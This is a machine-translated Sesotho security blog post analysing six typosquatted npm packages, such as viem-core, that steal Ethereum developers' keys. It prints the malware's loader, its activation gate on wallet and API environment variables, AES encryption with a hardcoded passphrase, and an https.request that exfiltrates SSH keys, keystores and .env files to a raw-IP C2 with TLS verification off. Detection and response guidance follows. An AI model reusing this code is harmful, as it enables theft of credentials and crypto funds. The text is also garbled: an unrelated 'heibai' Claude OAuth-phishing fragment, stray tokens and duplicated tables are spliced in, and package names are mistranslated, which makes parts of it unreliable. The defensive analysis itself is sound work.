EVMDeFi npm Typosquatting Attack e Utsoa Linotlolo tsa Moqapi

EVM/DeFi npm Typosquatting Attack e Utsoa Linotlolo tsa Moqapi

TL; DR

Ka la 6 Mots'eanong, 2026, mohatisi a le mong oa npm, namikazesarada010206, e sutumelletse liphutheloana tse tšeletseng tse kotsi tse shebaneng le tikoloho ea bahlahisi ba Ethereum, Solidity, le DeFi.

Liphutheloana, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, 'me web3-utils-core, e sebelisitse mabitso a utloahalang a etselitsoeng ho shebahala joaloka lilaebrari tsa bathusi bakeng sa lisebelisoa tse tsebahalang tsa Web3.

Liphutheloana tsohle tse tšeletseng li ne li e-na le tse tšoanang telemetry.js faele. Faele e ne e tšoana ka byte ho pholletsa le sehlopha, ka SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Malware ha e sebetse ka nako ea ho e kenya. Ha ho na preinstall or postinstall sehakisi. Ho ena le hoo, e sebetsa ha sephutheloana se kenngwa ka require().

Ntlha eo ea bohlokoa.

Sethapo se emetse ho fihlela moqapi a sebelisa sephutheloana. Ebe se hlahloba hore na sebaka sa mosebetsi se shebahala joaloka tikoloho ea 'nete ea nts'etsopele ea Ethereum / Solidity. Se batla linotlolo tsa Alchemy kapa Infura, linotlolo tsa poraefete, li-mnemonics, linotlolo tsa deployer, kapa bukana ea Foundry ea lehae.

Haeba moamoheli a tšoana, moutla o bokella linotlolo tsa poraefete tsa SSH, mabenkele a senotlolo a Foundry / Geth / Brownie, .env* difaele, le diphetoho tse bonolo tsa tikoloho. E sireletsa sephutheloana ka AES-256-GCM e sebedisa phasewete e thata mme e e ntsha sebakeng sa ho qetela sa IPv4 C2 se sa laoleheng ka netefatso ya TLS e timme.

Sistimi ea Xygeni ea Malware Early Warning (MEW) e tiisitse hore liphutheloana tsohle tse tšeletseng li kotsi. Sephutheloana sa tlaleho ea ho tlosoa ha registry ea npm se emetse.

Sehlopha: Liphutheloana tse Tšeletseng, Mohatisi a le Mong

Ak'haonte ea mohatisi namikazesarada010206 e ne e hokahantsoe le aterese ea Gmail e sa netefatsoang namikazesarada010206@gmail.com.

Letšolo lena le hlahile e le phatlalatso ea letsatsi le le leng ka la 6 Mots'eanong, 2026. Liphutheloana tsohle tse tšeletseng li ne li hlophisitsoe e le 1.0.0, e ne e se na ho itšetleha ka nako ea ts'ebetso, 'me e rometse lifaele tse tharo feela:

package.json index.js telemetry.js

Ba boetse ba phatlalalitse polokelo e tšoanang ea mohloli:

https://github.com/harunosakura030303-maker/evmchain-config

Liphutheloana tse tharo tsa pele li ile tsa tšoaroa ke li-scanner tsa MEW khatisong ea pele. Tse tharo tse setseng li ile tsa tšoaetsoa ka matla ka mor'a tlhahlobo ea mohlahlobi ea profil ea npm ea mohatisi. Hang ha e tšoana hantle telemetry.js e tiisitsoe ho pholletsa le sehlopha, li koetsoe e le tse kotsi ka ho tsitsa.

sephutheloana Version npm E phatlalalitsoe Tekete ea MEW qeto
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Lonya
viem-utils-core 1.0.0 2026-05-06 #51050 Lonya
lisebelisoa tsa motheo tsa hardhat 1.0.0 2026-05-06 #51051 Lonya
lisebelisoa tsa evm 1.0.0 2026-05-06 #51069 E kotsi, ka ho tsitsa
lisebelisoa tsa ho theha 1.0.0 2026-05-06 #51071 E kotsi, ka ho tsitsa
mohlodi-wa-web3-utils 1.0.0 2026-05-06 #51070 E kotsi, ka ho tsitsa

Leano la ho reha mabitso le bonolo empa le sebetsa.

Liphutheloana tsena ha li etsise mabitso a nepahetseng a holimo. Ho e-na le hoo, li sebelisa li-suffix tse utloahalang tsa "thuso" tse kang -core, -utils, 'me -utils-coreSeo se etsa hore li shebahale joaloka lilaeborari tse tsamaeang le tsona tseo moqapi a ka lebellang ho li bona haufi le lisebelisoa tsa Web3.

Sephutheloana se kotsi Sepheo se Nepahetseng
viem-core viem, moreki ea tsebahalang oa Ethereum TypeScript
viem-utils-core viem
lisebelisoa tsa motheo tsa hardhat hardhat, tikoloho e kholo ea nts'etsopele ea botsitso
lisebelisoa tsa evm Sebaka sa mabitso sa lisebelisoa tsa EVM tse tloaelehileng
lisebelisoa tsa ho theha setsi sa ho theha, ketane ea lisebelisoa tsa Solidity
mohlodi-wa-web3-utils li-web3-utils, bathusi ba Web3.js

Ena ke paterone ea "sephutheloana se tlatsetsang": ha se "Ke sephutheloana sa 'nete," empa "Ke shebahala joaloka mothusi ea utloahalang ho potoloha sephutheloana sa 'nete."

Bakeng sa bahlahisi ba DeFi ba ntseng ba potlaka, seo se lekane ho baka kotsi.

Ho Etsahala'ng ha Sephutheloana se Kentsoe ka Hare ho Naha?

Ketane ea tlhaselo e nyane, e reretsoe ka boomo, 'me e shebane le tikoloho ea nts'etsopele ea crypto.

Ha ho na sehokelo sa ho kenya. Ho e-na le hoo, sephutheloana se seng le se seng se kenyelletsa index.js e romelang kantle tshebetso ya stub ebe e kenya mojule wa telemetry o kotsi.

require('./telemetry').init();

Sena se bolela hore malware e qala ho sebetsa ha e kenngwa ka lekhetlo la pele.

Seo se na le thuso e sebetsang bakeng sa mohlaseli. Li-scanner tse ngata le li-sandbox li shebana le boitšoaro ba nako ea ho kenya. Sephutheloana sena se emela ho fihlela se hlile se sebelisoa ke moqapi, sengoloa sa kaho, sete ea liteko, kapa tsela ea nako ea ho sebetsa.

Heke ea Ts'ebetso: Ho Chesa Feela Litsing tsa Mosebetsi tsa 'Nete tsa Baqapi ba Web3

Karolo ea bohlokoa ka ho fetisisa ea implant ke heke ea ho kenya tšebetsong.

Tlhahlobo ea malware bakeng sa mefuta-futa ea tikoloho e atisang ho fumanoa mechineng ea nts'etsopele ea Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

E boetse e hlahloba hore na Foundry e bonahala e kentsoe:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Haeba maemo ana a le mong a se nnete, tshebetso e a kgutla mme ha e etse letho.

Seo se etsa hore sephutheloana se khutse maemong a tlhahlobo a akaretsang. Lebokose la lehlabathe le se nang Foundry, linotlolo tsa Alchemy, linotlolo tsa Infura, linotlolo tsa poraefete, kapa li-mnemonics li ka bona bohlokoa bo bonahalang bo se na kotsi.

Ho moamoheli ea tšoanang, malware e ema metsotsoana e 60 ho isa ho e 90 pele e bokelloa:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Tieho e fokotsa kamano e totobetseng pakeng tsa ho kenya le ho ntša. .unref() call e boetse e dumella tshebetso ya moamoheli ho tswa ka tsela e tlwaelehileng haeba sephutheloana se kentswe ka sengolwa sa nako e kgutshwane.

Ena ha se mokhoa o lerata oa ho pshatla le ho tšoara. Ke mokhoa o reretsoeng ho utsoa o etselitsoeng ho qoba ho matha ntle le haeba tikoloho ea moqapi e loketse ho utsuoa.

Seo Moutsoa a se Bokellang

Hang ha heke ea ts'ebetso e feta, malware e bokella mehloling ea bohlokoa haholo nts'etsopele ea Web3: linotlolo tsa poraefete, mabenkele a li-key tsa wallet, mangolo a tumello ea ho kenya tšebetsong, liphiri tsa leru, li-tokens tsa npm, le tlhophiso ea projeke ea lehae.

mohloli o moholo Seo se Bokelloang
process.env Phetoho efe kapa efe e bapaloang /TOKEN|SECRET|SENOTLOLO|PASA|AUTH|PRIVATE|PEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Lifaele tse nang le PRIVATE KEY kapa BEGIN OPENSSH, ho kenyeletsoa le litaba tse felletseng tsa lifaele
~/.foundry/mabenkele a linotlolo/* Lifaele tsa keystore tsa sepache sa Foundry
~/.ethereum/lebenkele la dinotlolo/* Lifaele tsa keystore tsa sepache sa Geth
~/.brownie/liakhaonto/* Lifaele tsa keystore tsa sepache sa Brownie
${cwd}/.env Dikahare tse felletseng tsa difaele
${cwd}/.env.local Dikahare tse felletseng tsa difaele
${cwd}/.env.tlhahiso Dikahare tse felletseng tsa difaele
${cwd}/.env.development Dikahare tse felletseng tsa difaele
lebitso la moamoheli () Metadata ea moamoheli
crypto.randomUUID() Mohlaseluoa/sehlopha sa tlhahlobo
Letsatsi.hona joale() Setempe sa nako sa pokello
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Li-tokens tsa ATTA ke tsena:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Ha re so khone ho netefatsa hore na telemetry e ne e le tlhahlobo ea mosebelisi kapa ke mocha o ikemetseng o sebelisang chelete. Li-tokens tsa ATTA lia tšoana lisampoleng ka bobeli tseo re li hlahlobileng.

Sehlopha sa B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Bosholu

Sampole ea la 1 Mmesa ke eona e cruder, e leng letsoho la pele la letšolo.

heibai:2.1.88-claude.hk-4 e hatisitsoe ke wuguoqiangvip28, ak'haonte e entsoeng ka la 7 Phuptjane 2025. Sephutheloana sena se ipapisitse ka ho hlaka le se nepahetseng 2.1.88 Ho lokolloa ha batho ba phelang le mafu a sa foleng.

Ha e tshwenyehe ka CA-cert MITM. Ho ena le hoo, e thetsa mosebedisi ka ntlha ya ho qetela ya OAuth.

Litlatsetso tse mpe tse holim'a mohloli oa Claude Code o lutlileng li kenyelletsa:

mohloli o moholo Seo se Bokelloang
process.env Phetoho efe kapa efe e bapaloang /TOKEN|SECRET|SENOTLOLO|PASA|AUTH|PRIVATE|PEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Lifaele tse nang le PRIVATE KEY kapa BEGIN OPENSSH, ho kenyeletsoa le litaba tse felletseng tsa lifaele
~/.foundry/mabenkele a linotlolo/* Lifaele tsa keystore tsa sepache sa Foundry
~/.ethereum/lebenkele la dinotlolo/* Lifaele tsa keystore tsa sepache sa Geth
~/.brownie/liakhaonto/* Lifaele tsa keystore tsa sepache sa Brownie
${cwd}/.env Dikahare tse felletseng tsa difaele
${cwd}/.env.local Dikahare tse felletseng tsa difaele
${cwd}/.env.tlhahiso Dikahare tse felletseng tsa difaele
${cwd}/.env.development Dikahare tse felletseng tsa difaele
lebitso la moamoheli () Metadata ea moamoheli
crypto.randomUUID() Mohlaseluoa/sehlopha sa tlhahlobo
Letsatsi.hona joale() Setempe sa nako sa pokello

Lethathamo la lipheo le totobetse haholo. Hona ha se bosholu ba sebatli se akaretsang kapa ho hlakola mangolo a mangata. E reretsoe bahlahisi ba hahang, ba lekang, ba kenyang, kapa ba sebelisang lits'ebetso tsa Ethereum.

Ho kenyelletsoa ha mabenkele a dinotlolo a Foundry, Geth, le Brownie ho bohlokwa haholo. Difaele tsena di ka emela phihlello e tobileng ho di-wallet kapa boitsebiso ba ho romelwa. Haeba mohlasedi a ka di kopanya le diphasewete, di-mnemonics, kapa diphiri tsa tikoloho, a ka kgona ho tsamaisa tjhelete, ho iketsa ba romelang, kapa ho beha tshebetsong ya dikonteraka tse bohlale kotsing.

Ho Sireletsa ka Sephiri Pele ho Ntšoa

Malware e sireletsa data e bokelletsoeng pele e e romela.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Polelwana ya phasewete e thata ke:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Moroalo oa ho qetela o phuthetsoe joalo ka JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Ho patala ha ho etse hore malware e be e tswetseng pele ka boyona. Leha ho le jwalo, ho etsa hore tlhahlobo ya netweke e be thata. Mosireletsi ya shebileng ho tswa o tla bona mojaro wa JSON, empa e seng dinotlolo tse utswitsweng, difaele tsa sepache, kapa .env dikahare ntle le poleloana ya sephiri e thata le mokhoa wa ho hlakola mongolo.

Ho ntsha IPv4 C2 e sa hlakang

Tsela ea ho ntša metsi e na le khoutu e thata:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Malware e romela data ho:

https://76.13.37.80:8443/api/v1/telemetry

Lintlha tse peli lia hlahella.

Sa pele, C2 ke aterese e tala ea IPv4 ho fapana le domain. Seo se tlosa tlhoko ea ngoliso ea domain mme se qoba ho lemoha ho latela domain.

Sa bobedi, netefatso ya TLS e timilwe ka:

rejectUnauthorized: false

Seo se dumella malware ho amohela setifikeiti sefe kapa sefe, ho kenyeletsoa le setifikeiti se saennweng ke motho ka boeena. Ka mantsoe a mang, mohlaseli o fumana phetisetso e patiloeng ntle le ho hloka setifikeiti se sebetsang sa sechaba.

Ha ho na mokhoa oa ho leka hape le moamoheli oa ho khutlela morao. Liphoso lia metsoa ka khutso. Sena se boloka sephutheloana se khutsitse haeba C2 e sa fumanehe kapa e sa fihlellehe.

Ke Hobane'ng ha Letšolo Lee le le Bohlokoa

Liphutheloana tse ngata tse mpe tsa npm tse reretsoeng bahlahisi ho lelekisa mangolo a mangata a bopaki: li-tokens tsa npm, linotlolo tsa AWS, li-tokens tsa GitHub, kapa .npmrc difaele.

Letšolo lena le fokotsa sepheo.

E batla matšoao a hore mochini ke oa moqapi oa Ethereum kapa Solidity. Ebe e hula hantle matlotlo a bohlokoa tikolohong eo: mabenkele a li-keyboard, linotlolo tsa poraefete, li-mnemonics, linotlolo tsa deploymer, .env lifaele, le linotlolo tsa SSH.

Seo se etsa hore letšolo lena le be kotsi haholo bakeng sa lihlopha tsa Web3 ho feta moutlai oa npm o tloaelehileng.

Tšoaetso e atlehileng e ka pepesa:

  • Li-wallet tsa ho kenya chelete
  • Linotlolo tsa tsamaiso ea konteraka e bohlale
  • Linotlolo tsa mofani oa RPC
  • Mangolo a ho kenya tshebetsong lerung
  • li-tokens tsa phatlalatso ea npm
  • Phihlello ea SSH ho moqapi kapa ho aha meralo ea motheo
  • Liphiri tsa projeke li bolokiloe ho .env difaele
  • Mabenkele a senotlolo a sepache bakeng sa Foundry, Geth, kapa Brownie

Mabitso a liphutheloana a boetse a bontša boenjiniere bo hlakileng ba sechaba. A shebana le tikoloho ea baqapi ba Web3 ka mabitso a lisebelisoa a tsebahalang: viem, hardhat, foundry, evm, 'me web3.

Sebapali ha se hloke ho beha merero ea 'nete kotsing. Ba hloka feela moqapi ho kenya se shebahalang joaloka sephutheloana se loketseng sa molekane.

Matšoao a ho Sekisetsa le ho Lemoha

Liphutheloana le Mohatisi
Tšimo latela boleng ba
mohatisi oa npm namikazesarada010206
Imeile ea mohatisi namikazesarada010206@gmail.com
imeile e netefalitsoe Che
SCM netefatsoa Che
Sephetho sa botumo 1.0
Packages viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
Litemana Tsohle 1.0.0
Sebaka sa polokelo ea mohloli https://github.com/harunosakura030303-maker/evmchain-config
E netefalitsoe e le kotsi Liphutheloana tsohle tse tšeletseng
Network
Type latela boleng ba
Qetello ea C2 https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
Kou ea C2 8443/tcp
Boitšoaro ba TLS hana E sa lumelloang: leshano
Sekema sa mojaro oa meputso {"v":2,"iv": ,"d": "t": }
Lifaele le Li-Hashe
Type latela boleng ba
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Sebopeho sa sephutheloana sephutheloana.json, index.js, telemetry.js
Palo ea lifaele 3
Boholo bo hakanyetsoang kaofela 3.4 KB

Matšoao a ho Kenya Ts'ebetsong

Malware e hlahloba mefuta ena ea tikoloho:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

E boetse e hlahloba:

~/.foundry/

Litsela tsa Moamoheli tse reretsoeng

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Pokello ea Regex

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Lintlha tsa ho lemoha

Melao e 'maloa e tšoara letšolo lena ntle le ho hloka tlhahlobo e felletseng ea boitšoaro.

Taba ea pele, skena lifaele tsa senotlolo bakeng sa mabitso a tšeletseng a liphutheloana tse kotsi:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Papali efe kapa efe ho package-lock.json, yarn.lock, pnpm-lock.yaml, kapa node_modules nalane e lokela ho nkoa e le ketsahalo e tebileng.

Ea bobeli, ho shebella lits'ebetso tsa Node.js ho bala litsela tsa polokelo ea linotlolo tsa sepache:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Sena ha se hangata e leng boitšoaro bo nepahetseng bakeng sa sephutheloana se kentsweng e le ho itšetleha ka mothusi. Se belaetsa haholo ha se lateloa ke ts'ebetso ea marang-rang a tsoang.

Sa boraro, thibela kapa o lemose dikgokelo tsa HTTPS ho:

76.13.37.80:8443

Haholo-holo ha tsela ea kopo e le:

/api/v1/telemetry

Sa bone, batla liphutheloana tsa npm tse kopanyang litšobotsi tsena:

  • Mohatisi e mocha kapa ea nang le botumo bo tlase
  • Ak'haonte ea Gmail e sa netefatsoang
  • Lebitso la sephutheloana se haufi le Web3
  • Ha ho na nalane e nang le moelelo ea polokelo
  • Sebopeho se senyenyane sa sephutheloana
  • index.js e kenyang telemetry kapa faele ea mothusi
  • Ha ho litšekamelo tsa nako ea ts'ebetso
  • Pokello e nang le phetoho e tebileng ea tikoloho
  • Phihlello ea li-keys tsa sepache

Paterone ena e molemo ho feta IOC e le 'ngoe hobane sephutheloana se latelang se ka fetola aterese ea IP empa sa boloka mokhoa o tšoanang oa ho shebana.

Lethathamo la Likarabo tsa ho Sekisetsa

Haeba moqapi a sebelisitse e 'ngoe ea liphutheloana tse tšeletseng 'me tikoloho ea bona e tsamaellana le heke ea ts'ebetso, nka sebaka sa mosebetsi se le kotsing.

Seo se kenyeletsa mechine e kentsoeng Foundry, linotlolo tsa Alchemy kapa Infura tikolohong, linotlolo tsa poraefete, li-mnemonics, kapa linotlolo tsa deployer.

Karabo e kgothaletswang:

  • Tlosa moamoheli ho tsoa marang-rang.
  • Boloka node_modules, lifaele tsa senotlolo, nalane ea khetla, le litlaleho tse amehang bakeng sa forensics.
  • Phetohela konopo e 'ngoe le e 'ngoe ea SSH tlas'a ~/.ssh/.
  • Phetohela dinotlolo tsa sepache bakeng sa lebenkele le leng le le leng la dinotlolo tse ka tlase ho lona ~/.foundry, ~/.ethereum, 'me ~/.brownie.
  • Fetisetsa chelete ho li-wallet tse ncha.
  • Phetohela sephiri se seng le se seng se bolokiloeng ho .env* lifaele polokelongtshedimosetsong eo moqapi a neng a sebetsa ho yona.
  • Phetola diphiri tsa tikoloho tse tsamaellanang le regex ya pokello, ho kenyeletswa dikonopo tsa AWS, ditokomane tsa npm, ditokomane tsa ho romela, dikonopo tsa API, dikonopo tsa poraefete, dipeo le di-mnemonics.
  • Leru la tlhahlobo, npm, GitHub, mofani oa RPC, le ts'ebetso ea blockchain ho tloha ha sephutheloana se qala ho kenngoa.
  • Sheba sebaka sa mosebetsi hape pele o se sebelisa hape.

Seo Basireletsi ba Lokelang ho se Tlosa

Letšolo lena le bontša kamoo ho ngola ka mongolo oa npm ho fetohang kateng ho potoloha litsamaiso tsa tikoloho tsa baqapi ba boleng bo holimo.

Sebapali se ne se sa hloke ho phehella. Ba ne ba sa hloke ho siroa. Ba ne ba sa hloke le ho kenngoa tšebetsong ka nako ea ho kenya.

Ho e-na le hoo, ba ne ba itšetlehile ka lintho tse tharo:

  • Mabitso a liphutheloana tsa Plausible Web3
  • Ho kenya tshebetsong feela mechineng ya nnete ya ntshetsopele ya crypto
  • Bosholu bo tobileng ba lifaele le liphiri tse bohlokoa haholo ho bahlahisi ba Ethereum

Seo se etsa hore letšolo lena le be bonolo ho le fosa ha le hlahlojoa ka botlalo le be kotsi ha le fihla tikolohong e nepahetseng.

Bakeng sa lihlopha tsa Web3, thuto e hlakile: tšoara mabitso a batho ba itšetlehileng ka bona e le karolo ea mohlala oa hau oa litšokelo. Sephutheloana se shebahalang joaloka mothusi ea se nang kotsi se ntse se ka fetoha tsela e khutšoanyane ka ho fetisisa ea ho etsa tumellano ea sepache.

E tlalehiloe ho ngoliso ea npm. Re tla ntlafatsa poso ena ha ak'haonte ea mohatisi le liphutheloana li tlosoa.

lisebelisoa tsa tlhahlobo ea sebopeho sa software ea lisebelisoa tsa sca
Beha pele, lokisa, le ho sireletsa likotsi tsa software ea hau
Fumana Ak'haonte ea Hao ea Mahala.
Ha ho na karete ea mokitlane e hlokahalang.

Sireletsa Ntlafatso le Phano ea Software ea Hao

ka Xygeni Product Suite